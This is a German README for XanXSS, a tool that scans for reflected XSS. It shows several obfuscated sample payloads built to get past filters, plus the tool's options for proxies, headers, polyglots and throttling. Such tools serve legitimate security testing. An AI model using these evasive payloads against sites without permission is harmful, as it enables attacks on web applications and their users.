XanXSS

XanXSS ist ein Tool zur Suche nach reflektierten XSS-Schwachstellen (DOM-Unterstützung kommt bald), das Payloads basierend auf Vorlagen erstellt. Im Gegensatz zu anderen XSS-Scannern, die einfach eine Liste von Payloads durchgehen, versucht XanXSS den Payload unkenntlich zu machen, zum Beispiel:

<xAnXSS</TitLE></STYLE><SVG/ONload='alERt(1);'/></XaNxSs</titLe></StYlE><SvG/ONlOAD='alerT(1);'/>
</scRIPt>
/>cLIcK&#13;Me!</b</TextaRea></TiTLE><BUTtON ONcLIck='aleRT(1);'/>XaNxss</TEXTaRea>
<Svg/onLoad='alErT((1));'/>

Mit XanXSS ist jeder Payload anders. XanXSS funktioniert, indem es die Payloads durchläuft, bis eine bestimmte Anzahl gefunden wird oder ein Timer die maximale Zeit erreicht – dies verhindert eine zu lange Schleife. Einige der in XanXSS enthaltenen Funktionen:

Möglichkeit, eigene Header mit -H zu übergeben
Möglichkeit, ein Polyglot-Skript mit -P zu generieren
Möglichkeit, hinter einem Proxy mit --proxy zu arbeiten
Und viele weitere

Optionen

XanXSS bietet die vollständige Möglichkeit, einen Proxy zu verwenden, ist mit proxychains kompatibel und ermöglicht das Hinzufügen benutzerdefinierter Header. Hier ist eine vollständige Liste der Optionen zu Ihrer Bequemlichkeit:

usage: xanxss.py [-h] [-u http://test.com/test.php?id=] [-a VERIFY]
                 [-f AMOUNT] [-t TIME] [-p SCRIPT, [SCRIPT, ...]]
                 [-F FILE-PATH] [-v] [--proxy TYPE://IP:PORT]
                 [-H HEADER=VALUE,HEADER:VALUE] [--throttle TIME secs] [-P]

optional arguments:
  -h, --help            show this help message and exit
  -u http://test.com/test.php?id=, --url http://test.com/test.php?id=
                        pass a URL to test for XSS vulnerabilities. it is
                        recommended that you use a URL with a query parameter
  -a VERIFY, --amount VERIFY
                        how many verifications steps to be taken, this will
                        determine how reliable the payload is. the more
                        verification steps the more reliable the payload will
                        be (*default=5)
  -f AMOUNT, --find AMOUNT
                        attempt to find this amount of working payloads,
                        specifying this does not guarantee you will find this
                        amount of working payloads (*default=25)
  -t TIME, --time TIME  amount of time in seconds to spend on testing, this
                        will be used as a timer for the verification
                        (*default=35s)
  -p SCRIPT, [SCRIPT, ...], --payloads SCRIPT, [SCRIPT, ...]
                        pass a comma separated list of your own payloads, must
                        contain at least 5 payloads
  -F FILE-PATH, --file FILE-PATH
                        pass a textual file containing payloads one per line,
                        must contain at least 5 payloads
  -v, --verbose         run in verbose mode and display more output
                        (*default=False)
  --proxy TYPE://IP:PORT
                        pass a proxy in the format type://ip:port
  -H HEADER=VALUE,HEADER:VALUE, --headers HEADER=VALUE,HEADER:VALUE
                        add your own custom headers to the request
                        (*default=connection,user-agent)
  --throttle TIME (secs)
                        throttle each request with a sleep time (*default=0)
  -P, --polyglot        generate a polyglot script to append to the end of the
                        running scripts, if there is XSS this should find it
                        (*default=False)
